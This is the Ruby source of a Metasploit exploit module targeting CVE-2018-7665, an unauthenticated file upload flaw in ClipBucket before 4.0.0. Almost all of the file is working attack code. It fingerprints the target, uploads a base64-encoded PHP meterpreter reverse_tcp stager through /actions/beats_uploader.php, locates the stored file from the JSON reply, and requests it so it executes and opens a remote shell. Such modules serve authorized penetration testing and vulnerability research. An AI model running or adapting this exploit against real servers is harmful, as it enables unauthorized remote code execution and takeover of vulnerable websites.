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##
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# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
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        'Description' => %q{
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          This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).
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          A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.
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          It is possible for an attacker to upload a malicious script to issue operating system commands.
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          This issue is caused by improper session handling in /action/beats_uploader.php file.
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          This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'www.sec-consult.com', # Vulnerability Discovery, PoC
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          'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module
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        ],
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        'References' => [
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          [ 'CVE', '2018-7665' ],
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          [ 'EDB', '44250' ]
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        ],
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        'DefaultOptions' => {
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          'SSL' => false,
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          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
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          'Encoder' => 'php/base64'
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        },
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        'Platform' => ['php'],
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        'Arch' => ARCH_PHP,
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        'Targets' => [
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          ['Clipbucket < 4.0.0 - Release 4902', {}]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2018-03-03',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
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      ]
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    )
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  end
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  def uri
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    return target_uri.path
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  end
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  def check
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    vprint_status('Trying to detect ClipBucket on target.')
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    # check for readme file
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(uri, 'readme')
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    })
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    unless res
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      vprint_error('Connection failed')
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      return CheckCode::Unknown
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    end
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    unless res.code == 200 && res.body.include?('ClipBucket')
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      vprint_error('Could not find readme')
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      return CheckCode::Safe
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    end
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    # check for beats_uploader.php file
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php')
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    })
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    unless res
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      vprint_error('Connection failed')
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      return CheckCode::Unknown
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    end
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    unless res.code == 200
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      vprint_error('Could not find beats_uploader.php')
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      return CheckCode::Safe
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    end
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    Exploit::CheckCode::Appears
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  end
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  def exploit
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    # generate the PHP meterpreter payload
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    stager = '<?php '
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    stager << payload.encode
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    stager << '?>'
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    # Setting POST data
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    post_data = Rex::MIME::Message.new
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    post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload
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    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading
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    post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')
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    data = post_data.to_s
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    print_status('Uploading payload..')
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'),
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      'data' => data,
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      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
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    })
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    jsonres = res.get_json_document
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    # If the server returns 200 and success yes, we assume we uploaded the malicious
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    # file successfully
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    unless res && res.code == 200 && jsonres['success'] == 'yes'
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      fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
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    end
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    print_good('Looking For Payload..')
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    pdir = jsonres['file_directory']
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    file_name = jsonres['file_name']
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    pext = jsonres['extension']
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    print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")
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    # Payload name
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    pname = "#{file_name}.php"
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    # Cleanup is Good Idea .
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    register_files_for_cleanup(pname)
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    print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(uri, 'actions', pdir, pname)
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    })
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    # If we don't get a 200 when we request our malicious payload, we suspect
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    # we don't have a shell, either.
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    if res && res.code != 200
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      print_error('Unexpected response, probably the exploit failed')
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    end
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  end
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end
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